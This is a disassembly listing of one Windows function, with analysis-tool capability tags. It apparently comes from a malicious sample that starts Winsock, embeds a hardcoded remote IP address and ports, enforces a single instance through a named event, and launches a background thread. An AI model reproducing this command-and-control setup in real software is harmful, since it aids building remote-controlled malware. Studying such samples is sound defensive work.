Function at 0x403670
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x428044]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov word [ebp - 0x5b0], ax
push 0x206
push 0
lea ecx, [ebp - 0x5ae]
push ecx
call fcn.00413990
add esp, 0xc
xor edx, edx
mov word [ebp - 0x7b8], dx
push 0x206
push 0
lea eax, [ebp - 0x7b6]
push eax
call fcn.00413990
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.00413990
add esp, 0xc
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x7bc], 0
mov dword [ebp - 0x3a8], 0
lea eax, [ebp - 0x3a0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
push 0x42a970
call fcn.004021a0
add esp, 8
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
jne 0x4038d2
xor ecx, ecx
mov word [ebp - 0x7f8], cx
push 0x3a
push 0
lea edx, [ebp - 0x7f6]
push edx
call fcn.00413990
add esp, 0xc
lea eax, [ebp - 0x7f8]
push eax
call fcn.004039f0
add esp, 4
lea ecx, [ebp - 0x7f8]
mov dword [ebp - 0x7fc], ecx
mov dword [ebp - 0x800], 0x42ab18
mov edx, dword [ebp - 0x800]
mov dword [ebp - 0x804], edx
mov eax, dword [ebp - 0x7fc]
mov cx, word [eax]
mov word [ebp - 0x806], cx
mov edx, dword [ebp - 0x800]
mov ax, word [ebp - 0x806]
mov word [edx], ax
mov ecx, dword [ebp - 0x7fc]
add ecx, 2
mov dword [ebp - 0x7fc], ecx
mov edx, dword [ebp - 0x800]
add edx, 2
mov dword [ebp - 0x800], edx
cmp word [ebp - 0x806], 0
jne 0x403780
push str.218.54.31.165
push 0x42a974
call fcn.00406740
add esp, 8
mov eax, 0x51
mov word [0x42a9f4], ax
push str.AAAA
push 0x42a9f6
call fcn.00406720
add esp, 8
push 0x426090
push 0x42aa16
call fcn.00406740
add esp, 8
mov ecx, 0x2b66
mov word [0x42aa96], cx
lea edx, [ebp - 0x7f8]
mov dword [ebp - 0x80c], edx
mov dword [ebp - 0x810], 0x42aaf8
mov eax, dword [ebp - 0x810]
mov dword [ebp - 0x814], eax
mov ecx, dword [ebp - 0x80c]
mov dx, word [ecx]
mov word [ebp - 0x816], dx
mov eax, dword [ebp - 0x810]
mov cx, word [ebp - 0x816]
mov word [eax], cx
mov edx, dword [ebp - 0x80c]
add edx, 2
mov dword [ebp - 0x80c], edx
mov eax, dword [ebp - 0x810]
add eax, 2
mov dword [ebp - 0x810], eax
cmp word [ebp - 0x816], 0
jne 0x403837
mov ecx, 0x42aaf8
add ecx, 0xfffffffe
mov dword [ebp - 0x81c], ecx
mov edx, dword [ebp - 0x81c]
mov ax, word [edx + 2]
mov word [ebp - 0x81e], ax
add dword [ebp - 0x81c], 2
cmp word [ebp - 0x81e], 0
jne 0x40388d
mov edi, dword [ebp - 0x81c]
mov ecx, dword [0x4260ac]
mov dword [edi], ecx
mov dx, word [0x4260b0]
mov word [edi + 4], dx
mov eax, dword [0x429068]
mov dword [0x42ab38], eax
call fcn.00403b00
lea ecx, [ebp - 0x5b0]
push ecx
call fcn.004039f0
add esp, 4
lea edx, [ebp - 0x5b0]
mov dword [ebp - 0x824], edx
mov dword [ebp - 0x828], 0x42ada8
mov eax, dword [ebp - 0x828]
mov dword [ebp - 0x82c], eax
mov ecx, dword [ebp - 0x824]
mov dx, word [ecx]
mov word [ebp - 0x82e], dx
mov eax, dword [ebp - 0x828]
mov cx, word [ebp - 0x82e]
mov word [eax], cx
mov edx, dword [ebp - 0x824]
add edx, 2
mov dword [ebp - 0x824], edx
mov eax, dword [ebp - 0x828]
add eax, 2
mov dword [ebp - 0x828], eax
cmp word [ebp - 0x82e], 0
jne 0x403908
push 0x42ada8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0
je 0x403982
mov ecx, dword [ebp - 0x3a8]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
jmp 0x4039de
push 0x42ada8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0
jne 0x4039a6
xor eax, eax
jmp 0x4039de
push 0x42ae28
call fcn.00403e80
add esp, 4
mov edx, dword [0x42ab3c]
mov dword [0x42ae30], edx
push 0
push 0
push 0
push 0x4046c0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [0x4290e8], eax
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004100e5
mov esp, ebp
pop ebp
ret